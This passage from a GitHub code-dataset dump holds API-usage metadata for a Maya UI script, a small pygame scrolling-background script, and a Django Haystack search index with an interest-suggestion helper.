"sub_path": "src/rt_tools/maya/general/productUI.py", "file_name": "productUI.py", "file_ext": "py", "file_size_in_byte": 25329, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "lib.renderLib", "line_number": 30, "usage_type": "argument"}, {"api_name": "lib.qtLib", "line_number": 31, "usage_type": "argument"}, {"api_name": "lib.fileLib", "line_number": 32, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 35, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QDialog", "line_number": 40, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 40, "usage_type": "name"}, {"api_name": "lib.qtLib.getMayaWindow", "line_number": 42, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 42, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 50, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 50, "usage_type": "name"}, {"api_name": "lib.qtLib.SILVER_LIGHT", "line_number": 50, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 57, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 57, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 58, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 58, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 70, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 70, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 74, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 74, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QTabWidget", "line_number": 77, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 77, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 83, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 83, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 84, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 84, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 89, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 89, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 90, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 90, "usage_type": "name"}, {"api_name": "lib.qtLib.createGroupBox", "line_number": 100, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 100, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 102, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 102, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 104, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 104, "usage_type": "name"}, {"api_name": "lib.qtLib.createGroupBox", "line_number": 112, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 112, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 114, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 114, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 115, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 115, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 118, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 118, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 120, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 120, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 121, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 121, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 121, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 125, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 125, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 127, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 127, "usage_type": "name"}, {"api_name": "lib.qtLib.createTreeWidget", "line_number": 130, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 130, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 134, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 134, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 136, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 136, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 137, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 137, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 137, "usage_type": "attribute"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 140, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 140, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 142, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 142, "usage_type": "name"}, {"api_name": "lib.qtLib.createTreeWidget", "line_number": 145, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 145, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 148, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 148, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 150, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 150, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 151, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 151, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 151, "usage_type": "attribute"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 154, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 154, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 156, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 156, "usage_type": "name"}, {"api_name": "lib.qtLib.createTreeWidget", "line_number": 159, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 159, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 162, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 162, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 164, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 164, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 165, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 165, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 165, "usage_type": "attribute"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 168, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 168, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 169, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 169, "usage_type": "name"}, {"api_name": "lib.qtLib.createTreeWidget", "line_number": 173, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 173, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 176, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 176, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 179, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 179, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 180, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 180, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 181, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 181, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 181, "usage_type": "attribute"}, {"api_name": "lib.qtLib.createTreeWidget", "line_number": 183, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 183, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 186, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 186, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 187, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 187, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 188, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 188, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 188, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QPlainTextEdit", "line_number": 190, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 190, "usage_type": "name"}, {"api_name": "lib.qtLib.setFGBGColor", "line_number": 193, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 193, "usage_type": "name"}, {"api_name": "lib.qtLib.SILVER", "line_number": 193, "usage_type": "attribute"}, {"api_name": "lib.qtLib.GREY_DARK", "line_number": 193, "usage_type": "attribute"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 196, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 196, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 197, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 197, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 198, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 198, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 199, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 199, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 199, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QComboBox", "line_number": 202, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 202, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 206, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 206, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QPushButton", "line_number": 208, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 208, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QPushButton", "line_number": 212, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 212, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QPushButton", "line_number": 216, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 216, "usage_type": "name"}, {"api_name": "lib.qtLib.createGroupBox", "line_number": 246, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 246, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 248, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 248, "usage_type": "name"}, {"api_name": "lib.qtLib.createHLayout", "line_number": 249, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 249, "usage_type": "name"}, {"api_name": "lib.qtLib.createVLayout", "line_number": 252, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 252, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 253, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 253, "usage_type": "name"}, {"api_name": "lib.qtLib.setColor", "line_number": 254, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 254, "usage_type": "name"}, {"api_name": "lib.qtLib.GREEN_PALE", "line_number": 254, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 256, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 256, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "lib.qtLib.printMessage", "line_number": 266, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 266, "usage_type": "name"}, {"api_name": "lib.qtLib.printMessage", "line_number": 268, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 268, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 269, "usage_type": "call"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 271, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 271, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 277, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 277, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 282, "usage_type": "call"}, {"api_name": "os.path", "line_number": 282, "usage_type": "attribute"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 287, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 287, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 304, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 304, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "attribute"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 314, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 314, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 327, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 327, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 332, "usage_type": "call"}, {"api_name": "os.path", "line_number": 332, "usage_type": "attribute"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 337, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 337, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 348, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 348, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 354, "usage_type": "call"}, {"api_name": "os.path", "line_number": 354, "usage_type": "attribute"}, {"api_name": "os.path.lexists", "line_number": 356, "usage_type": "call"}, {"api_name": "os.path", "line_number": 356, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 364, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 367, "usage_type": "call"}, {"api_name": "os.path", "line_number": 367, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 376, "usage_type": "call"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 381, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 381, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 391, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 391, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 397, "usage_type": "call"}, {"api_name": "os.path", "line_number": 397, "usage_type": "attribute"}, {"api_name": "os.path.lexists", "line_number": 399, "usage_type": "call"}, {"api_name": "os.path", "line_number": 399, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 411, "usage_type": "call"}, {"api_name": "os.path", "line_number": 411, "usage_type": "attribute"}, {"api_name": "os.path.lexists", "line_number": 412, "usage_type": "call"}, {"api_name": "os.path", "line_number": 412, "usage_type": "attribute"}, {"api_name": "lib.fileLib.loadJson", "line_number": 413, "usage_type": "call"}, {"api_name": "lib.fileLib", "line_number": 413, "usage_type": "name"}, {"api_name": "lib.fileLib.dictToStr", "line_number": 417, "usage_type": "call"}, {"api_name": "lib.fileLib", "line_number": 417, "usage_type": "name"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 430, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 430, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 433, "usage_type": "call"}, {"api_name": "os.path", "line_number": 433, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 434, "usage_type": "call"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 437, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 437, "usage_type": "name"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 444, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 444, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 446, "usage_type": "call"}, {"api_name": "os.path", "line_number": 446, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 447, "usage_type": "call"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 450, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 450, "usage_type": "name"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 457, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 457, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 459, "usage_type": "call"}, {"api_name": "os.path", "line_number": 459, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 461, "usage_type": "call"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 464, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 464, "usage_type": "name"}, {"api_name": "lib.qtLib.addItemToTreeWidget", "line_number": 471, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 471, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 473, "usage_type": "call"}, {"api_name": "os.path", "line_number": 473, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 475, "usage_type": "call"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 478, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 478, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 482, "usage_type": "call"}, {"api_name": "os.path", "line_number": 482, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 483, "usage_type": "call"}, {"api_name": "os.path", "line_number": 483, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 485, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 487, "usage_type": "call"}, {"api_name": "os.path", "line_number": 487, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 487, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 492, "usage_type": "call"}, {"api_name": "os.path", "line_number": 492, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 493, "usage_type": "call"}, {"api_name": "os.path", "line_number": 493, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 495, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 497, "usage_type": "call"}, {"api_name": "os.path", "line_number": 497, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 497, "usage_type": "call"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 501, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 501, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 502, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QMenu", "line_number": 513, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 513, "usage_type": "name"}, {"api_name": "os.path.lexists", "line_number": 528, "usage_type": "call"}, {"api_name": "os.path", "line_number": 528, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 529, "usage_type": "call"}, {"api_name": "os.path", "line_number": 529, "usage_type": "attribute"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 538, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 538, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 539, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 539, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 540, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 540, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 541, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 541, "usage_type": "name"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 542, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 542, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 543, "usage_type": "call"}, {"api_name": "os.path", "line_number": 543, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 545, "usage_type": "call"}, {"api_name": "os.path", "line_number": 545, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 547, "usage_type": "call"}, {"api_name": "os.path", "line_number": 547, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 559, "usage_type": "call"}, {"api_name": "os.path", "line_number": 559, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 562, "usage_type": "call"}, {"api_name": "os.path", "line_number": 562, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 565, "usage_type": "call"}, {"api_name": "os.path", "line_number": 565, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 568, "usage_type": "call"}, {"api_name": "os.path", "line_number": 568, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 572, "usage_type": "call"}, {"api_name": "os.path", "line_number": 572, "usage_type": "attribute"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 574, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 574, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 576, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 577, "usage_type": "call"}, {"api_name": "os.path", "line_number": 577, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 581, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 582, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 584, "usage_type": "call"}, {"api_name": "lib.qtLib.getSelectedItemAsText", "line_number": 591, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 591, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 595, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 597, "usage_type": "call"}, {"api_name": "os.path", "line_number": 597, "usage_type": "attribute"}, {"api_name": "lib.renderLib.playblast", "line_number": 616, "usage_type": "call"}, {"api_name": "lib.renderLib", "line_number": 616, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 619, "usage_type": "call"}, {"api_name": "os.path", "line_number": 619, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 620, "usage_type": "call"}, {"api_name": "os.path", "line_number": 620, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 621, "usage_type": "call"}, {"api_name": "os.path", "line_number": 621, "usage_type": "attribute"}, {"api_name": "lib.qtLib.printMessage", "line_number": 623, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 623, "usage_type": "name"}, {"api_name": "lib.qtLib.printMessage", "line_number": 627, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 627, "usage_type": "name"}, {"api_name": "os.sep", "line_number": 629, "usage_type": "attribute"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 642, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 642, "usage_type": "name"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 643, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 643, "usage_type": "name"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 644, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 644, "usage_type": "name"}, {"api_name": "lib.qtLib.selectItemByText", "line_number": 645, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 645, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 648, "usage_type": "call"}, {"api_name": "os.path", "line_number": 648, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 649, "usage_type": "call"}, {"api_name": "os.path", "line_number": 649, "usage_type": "attribute"}, {"api_name": "lib.qtLib.printMessage", "line_number": 652, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 652, "usage_type": "name"}, {"api_name": "lib.qtLib.printMessage", "line_number": 654, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 654, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QSettings", "line_number": 668, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 668, "usage_type": "name"}, {"api_name": "os.path.lexists", "line_number": 685, "usage_type": "call"}, {"api_name": "os.path", "line_number": 685, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 694, "usage_type": "call"}, {"api_name": "os.path", "line_number": 694, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore.QSettings", "line_number": 695, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 695, "usage_type": "name"}, {"api_name": "lib.qtLib.printMessage", "line_number": 704, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 704, "usage_type": "name"}, {"api_name": "os.path.lexists", "line_number": 716, "usage_type": "call"}, {"api_name": "os.path", "line_number": 716, "usage_type": "attribute"}, {"api_name": "lib.qtLib.printMessage", "line_number": 718, "usage_type": "call"}, {"api_name": "lib.qtLib", "line_number": 718, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 719, "usage_type": "call"}, {"api_name": "os.path", "line_number": 719, "usage_type": "attribute"}]}
{"seq_id": "37285042998", "text": "import pygame\n\npygame.init()\n\nscreen_width = 800\nscreen_height = 600\n\ndisplay = pygame.display.set_mode((screen_width, screen_height))\n\nclock = pygame.time.Clock()\n\nbg = pygame.image.load('background.jpg').convert()\nbgx = 0\nbgx2 = bg.get_width()\n\nrun = True\nspeed = 30\n\n\nclass Player:\n    pass\n    \ndef redrawWin():\n    display.blit(bg, (bgx, 0))\n    display.blit(bg, (bgx2, 0))\n    pygame.display.update()\n\n\nwhile run:\n    redrawWin()\n    clock.tick(speed)\n    bgx -= 6.4\n    bgx2 -= 6.4\n    if bgx < bg.get_width() * -1:\n        bgx = bg.get_width()\n    if bgx2 < bg.get_width() * -1:\n        bgx2 = bg.get_width()\n\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            run = False\n\npygame.quit()\n\n", "repo_name": "JordanWalker28/PythonGames", "sub_path": "movingBackground.py", "file_name": "movingBackground.py", "file_ext": "py", "file_size_in_byte": 733, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.init", "line_number": 3, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 39, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "24101573572", "text": "import datetime\nfrom haystack import indexes\nfrom .models import Project\n\nclass ProjectIndex(indexes.SearchIndex, indexes.Indexable):\n    text = indexes.CharField(document=True, use_template=True)\n    author = indexes.CharField(model_attr='user')\n    title = indexes.CharField(model_attr='title')\n    pub_date = indexes.DateTimeField(model_attr='created_at')\n    suggestions = indexes.FacetCharField()\n    title_auto = indexes.EdgeNgramField(model_attr='title')\n\n    def prepare(self, obj):\n        prepared_data = super(ProjectIndex, self).prepare(obj)\n        prepared_data['suggestions'] = prepared_data['text']\n        return prepared_data\n\n    def get_model(self):\n        return Project\n\n\n\n\n\n\ndef user_based_suggestions(user_id, include_current_interests=False):\n    # sum up the similarities\n    suggestions = defaultdict(float)\n\n    for similar_user, similarity in most_similar_users_with_me(user_id):\n        for interest in users_interests[similar_user]:\n            suggestions[interest] += similarity\n            print(suggestions)\n\n    # convert them to a sorted list\n    suggestions = sorted(suggestions.items(),\n                         key=lambda pair: pair[1],\n                         reverse=True)\n\n    # and (maybe) exclude already-interests\n    if include_current_interests:\n        return suggestions\n    else:\n        print([(suggestion, weight)\n                for suggestion, weight in suggestions\n                if suggestion not in users_interests[user_id]][0:12])\n        # return [(suggestion, weight)\n        return [suggestion\n                for suggestion, weight in suggestions\n                if suggestion not in users_interests[user_id]][0:12]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "danial-coldcrust/highlighter", "sub_path": "highlighter/home/search_indexes.py", "file_name": "search_indexes.py", "file_ext": "py", "file_size_in_byte": 1705, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "haystack.indexes.SearchIndex", "line_number": 5, "usage_type": "attribute"}, {"api_name": "haystack.indexes", "line_number": 5, "usage_type": "name"}, {"api_name": "haystack.indexes.Indexable", "line_number": 5, "usage_type": "attribute"}, {"api_name": "haystack.indexes.CharField", "line_number": 6, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 6, "usage_type": "name"}, {"api_name": "haystack.indexes.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 7, "usage_type": "name"}, {"api_name": "haystack.indexes.CharField", "line_number": 8, "usage_type": "call"}, {"api_name": "haystack.indexes", "line_number": 8, "usage_type": "name"}, {"api_name": "haystack.indexes.DateTimeField", "line_number": 